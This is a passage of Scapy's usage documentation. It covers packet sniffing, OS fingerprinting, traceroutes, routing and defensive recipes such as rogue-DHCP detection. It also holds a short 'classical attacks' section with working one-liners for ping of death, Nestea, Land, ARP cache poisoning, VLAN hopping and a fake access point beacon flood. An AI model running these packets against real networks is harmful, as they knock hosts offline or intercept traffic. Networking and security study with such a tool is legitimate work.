len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831 + src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0 + chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b + \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d + \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>> + >>> sniff(iface="wifi0", prn=lambda x: x.summary()) + 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 + 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates + 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 + 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates + 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates + 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 + 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication + 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication + 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 + 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 + 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 + 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 + 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding + 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding + 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw + 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw + >>> sniff(iface="eth1", prn=lambda x: x.show()) + ---[ Ethernet ]--- + dst = 00:ae:f3:52:aa:d1 + src = 00:02:15:37:a2:44 + type = 0x800 + ---[ IP ]--- + version = 4L + ihl = 5L + tos = 0x0 + len = 84 + id = 0 + flags = DF + frag = 0L + ttl = 64 + proto = ICMP + chksum = 0x3831 + src = 192.168.5.21 + dst = 66.35.250.151 + options = '' + ---[ ICMP ]--- + type = echo-request + code = 0 + chksum = 0x89d9 + id = 0xc245 + seq = 0x0 + ---[ Raw ]--- + load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' + ---[ Ethernet ]--- + dst = 00:02:15:37:a2:44 + src = 00:ae:f3:52:aa:d1 + type = 0x800 + ---[ IP ]--- + version = 4L + ihl = 5L + tos = 0x0 + len = 84 + id = 2070 + flags = + frag = 0L + ttl = 42 + proto = ICMP + chksum = 0x861b + src = 66.35.250.151 + dst = 192.168.5.21 + options = '' + ---[ ICMP ]--- + type = echo-reply + code = 0 + chksum = 0x91d9 + id = 0xc245 + seq = 0x0 + ---[ Raw ]--- + load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' + ---[ Padding ]--- + load = '\n_\x00\x0b' + +We can sniff and do passive OS fingerprinting:: + + >>> p + <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L + ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e + src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80 + seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840 + chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460), + ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>> + >>> p0f(p) + (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) + >>> a=sniff(prn=prnp0f) + (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) + (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) + (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) + (1.0, ['Windows 2000 (9)']) + +The number before the OS guess is the accurracy of the guess. + +Filters +------- + +.. index:: + single: filter, sprintf() + +Demo of both bpf filter and sprintf() method:: + + >>> a=sniff(filter="tcp and ( port 25 or port 110 )", + prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) + 192.168.8.10:47226 -> 213.228.0.14:110 S : + 213.228.0.14:110 -> 192.168.8.10:47226 SA : + 192.168.8.10:47226 -> 213.228.0.14:110 A : + 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> + + 192.168.8.10:47226 -> 213.228.0.14:110 A : + 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto + + 213.228.0.14:110 -> 192.168.8.10:47226 A : + 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK + + 192.168.8.10:47226 -> 213.228.0.14:110 A : + 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata + + 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed + + 192.168.8.10:47226 -> 213.228.0.14:110 A : + 213.228.0.14:110 -> 192.168.8.10:47226 FA : + 192.168.8.10:47226 -> 213.228.0.14:110 FA : + 213.228.0.14:110 -> 192.168.8.10:47226 A : + +Send and receive in a loop +-------------------------- + +.. index:: + single: srloop() + +Here is an example of a (h)ping-like functionnality : you always send the same set of packets to see if something change:: + + >>> srloop(IP(dst="www.target.com/30")/TCP()) + RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding + fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S + RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding + fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S + RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding + fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S + RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding + fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S + IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S + +Making tables +------------- + +.. index:: + single: tables, make_table() + +Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object : + +Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):: + + >>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) + Received 49 packets, got 24 answers, remaining 0 packets + >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) ) + 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 + 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 + 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 + 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 + 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 + 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 + 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 + +Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP. + +:: + + >>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) + Received 142 packets, got 25 answers, remaining 71 packets + >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%"))) + 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 + 20 0 4203 7021 - 11562 + 21 0 4204 7022 - 11563 + 22 0 4205 7023 11561 11564 + 25 0 0 7024 - 11565 + 53 0 4207 7025 - 11566 + 80 0 4028 7026 - 11567 + +It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc. + +Routing +------- + +.. index:: + single: Routing, conf.route + +Now scapy has its own routing table, so that you can have your packets routed diffrently than the system:: + + >>> conf.route + Network Netmask Gateway Iface + 127.0.0.0 255.0.0.0 0.0.0.0 lo + 192.168.8.0 255.255.255.0 0.0.0.0 eth0 + 0.0.0.0 0.0.0.0 192.168.8.1 eth0 + >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") + >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") + >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") + >>> conf.route + Network Netmask Gateway Iface + 127.0.0.0 255.0.0.0 0.0.0.0 lo + 192.168.8.0 255.255.255.0 0.0.0.0 eth0 + 0.0.0.0 0.0.0.0 192.168.8.254 eth0 + 192.168.1.1 255.255.255.255 192.168.8.1 eth0 + >>> conf.route.resync() + >>> conf.route + Network Netmask Gateway Iface + 127.0.0.0 255.0.0.0 0.0.0.0 lo + 192.168.8.0 255.255.255.0 0.0.0.0 eth0 + 0.0.0.0 0.0.0.0 192.168.8.1 eth0 + +Gnuplot +------- + +.. index:: + single: Gnuplot, plot() + +We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.) +For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:: + + >>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) + >>> a.plot(lambda x:x[1].id) + <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c> + +.. image:: graphics/ipid.png + + +TCP traceroute (2) +------------------ + +.. index:: + single: traceroute(), Traceroute + +Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:: + + >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) + Received 80 packets, got 80 answers, remaining 0 packets + 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 + 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 + 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 + 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 + 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 + 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 + 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 + 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 + 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 + 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 + 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 + 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 + 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 + 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 + 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA + 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA + 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA + 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA + 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA + 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA + 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA + (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>) + +The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding. + + >>> result,unans=_ + >>> result.show() + 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 + 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 + 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 + 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 + [...] + >>> result.filter(lambda x: Padding in x[1]) + +Like any result object, traceroute objects can be added : + + >>> r2,unans=traceroute(["www.voila.com"],maxttl=20) + Received 19 packets, got 19 answers, remaining 1 packets + 195.101.94.25:80 + 1 192.168.8.1 + 2 82.251.4.254 + 3 213.228.4.254 + 4 212.27.50.169 + 5 212.27.50.162 + 6 193.252.161.97 + 7 193.252.103.86 + 8 193.252.103.77 + 9 193.252.101.1 + 10 193.252.227.245 + 12 195.101.94.25 SA + 13 195.101.94.25 SA + 14 195.101.94.25 SA + 15 195.101.94.25 SA + 16 195.101.94.25 SA + 17 195.101.94.25 SA + 18 195.101.94.25 SA + 19 195.101.94.25 SA + 20 195.101.94.25 SA + >>> + >>> r3=result+r2 + >>> r3.show() + 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 + 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 + 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 + 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 + 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 + 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 + 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 + 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 + 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 + 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 + 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 + 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 + 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 + 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 + 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA + 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA + 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA + 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA + 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA + 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA + 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA + +Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph. + + >>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) + Received 190 packets, got 190 answers, remaining 10 packets + 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... + 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... + 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... + 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... + [...] + >>> res.graph() # piped to ImageMagick's display program. Image below. + >>> res.graph(type="ps",target="| lp") # piped to postscript printer + >>> res.graph(target="> /tmp/graph.svg") # saved to file + +.. image:: graphics/graph_traceroute.png + +If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:: + + >>> res.trace3D() + +.. image:: graphics/trace3d_1.png + +.. image:: graphics/trace3d_2.png + +Wireless frame injection +------------------------ + +.. index:: + single: FakeAP, Dot11, wireless, WLAN + +Provided that your wireless card and driver are correctly configured for frame injection + +:: + + $ ifconfig wlan0 up + $ iwpriv wlan0 hostapd 1 + $ ifconfig wlan0ap up + +you can have a kind of FakeAP:: + + >>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/ + Dot11Beacon(cap="ESS")/ + Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/ + Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/ + Dot11Elt(ID="DSset",info="\x03")/ + Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1) + + +Simple one-liners +================= + +Classical attacks +----------------- + +Malformed packets:: + + send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) + +Ping of death (Muuahahah):: + + send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) + +Nestea attack:: + + send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) + send(IP(dst=target, id=42, frag=48)/("X"*116)) + send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) + +Land attack (designed for Microsoft Windows):: + + send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) + +ARP cache poisoning +------------------- +This attack prevents a client from joining the gateway by poisoning +its ARP cache through a VLAN hopping attack. + +Classic ARP cache poisoning:: + + send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), + inter=RandNum(10,40), loop=1 ) + +ARP cache poisoning with double 802.1q encapsulation:: + + send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) + /ARP(op="who-has", psrc=gateway, pdst=client), + inter=RandNum(10,40), loop=1 ) + +TCP Port Scanning +----------------- + +Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: + + res,unans = sr( IP(dst="target") + /TCP(flags="S", dport=(1,1024)) ) + +Possible result visualization: open ports + +:: + + res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) ) + + +IKE Scanning +------------ + +We try to identify VPN concentrators by sending ISAKMP Security Association proposals +and receiving the answers:: + + res,unans = sr( IP(dst="192.168.1.*")/UDP() + /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") + /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) + ) + +Visualizing the results in a list:: + + res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) ) + + +UDP traceroute +-------------- + +Tracerouting an UDP application like we do with TCP is not +reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, +NTP, etc.) to deserve an answer:: + + res,unans = sr(IP(dst="target", ttl=(1,20)) + /UDP()/DNS(qd=DNSQR(qname="test.com")) + +We can visualize the results as a list of routers:: + + res.make_table(lambda (s,r): (s.dst, s.ttl, r.src)) + + + +Etherleaking +------------ + +:: + + >>> sr1(IP(dst="172.16.1.232")/ICMP()) + <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]| + <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>> + +ICMP leaking +------------ + +This was a Linux 2.0 bug:: + + >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) + <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] | + <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] | + <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff | + <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>> + + +VLAN hopping +------------ + +In very specific conditions, a double 802.1q encapsulation will +make a packet jump to another VLAN:: + + >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) + + + +Recipes +======= + +Simplistic ARP Monitor +---------------------- + +This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic. + +:: + + #! /usr/bin/env python + from scapy import * + + def arp_monitor_callback(pkt): + if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at + return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") + + sniff(prn=arp_monitor_callback, filter="arp", store=0) + +Identifying rogue DHCP servers on your LAN +------------------------------------------- + +.. index:: + single: DHCP + +Problem +^^^^^^^ + +You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentiously or maliciously. +Thus you want to check for any active DHCP servers and identify their IP and MAC addresses. + +Solution +^^^^^^^^ + +Use Scapy to send a DHCP discover request and analyze the replies:: + + >>> conf.checkIPaddr = False + >>> fam,hw = get_if_raw_hwaddr(conf.iface) + >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) + >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds + Begin emission: + Finished to send 1 packets. + .*...*.. + Received 8 packets, got 2 answers, remaining 0 packets + +In this case we got 2 replies, so there were two active DHCP servers on the test network:: + + >>> ans.summarize() + Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP + Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP + }}} + We are only interested in the MAC and IP addresses of the replies: + {{{ + >>> for p in ans: print p[1][Ether].src, p[1][IP].src + ... + 00:de:ad:be:ef:00 192.168.1.1 + 00:11:11:22:22:33 192.168.1.11 + +Discussion +^^^^^^^^^^ + +We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received. +This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. + +Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus. + +See also +^^^^^^^^ + +http://en.wikipedia.org/wiki/Rogue_DHCP + + +Firewalking +----------- + +TTL decrementation after a filtering operation +only not filtered packets generate an ICMP TTL exceeded + + >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) + >>> for s,r in ans: + if r.haslayer(ICMP) and r.payload.type == 11: + print s.dport + +Find subnets on a multi-NIC firewall +only his own NIC’s IP are reachable with this TTL:: + + >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) + >>> for i in unans: print i.dst + + +Viewing packets with Wireshark +------------------------------ + +.. index:: + single: wireshark() + +Problem +^^^^^^^ + +You have generated or sniffed some packets with Scapy and want to view them with `Wireshark <http://www.wireshark.com>`_, because of its advanced packet dissection abilities. + +Solution +^^^^^^^^ + +That's what the ``wireshark()`` function is for: + + >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets + >>> wireshark(packets) # show them with Wireshark + +Wireshark will start in the background and show your packets. + +Discussion +^^^^^^^^^^ + +The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup. + +Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results. + +You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting. + + + +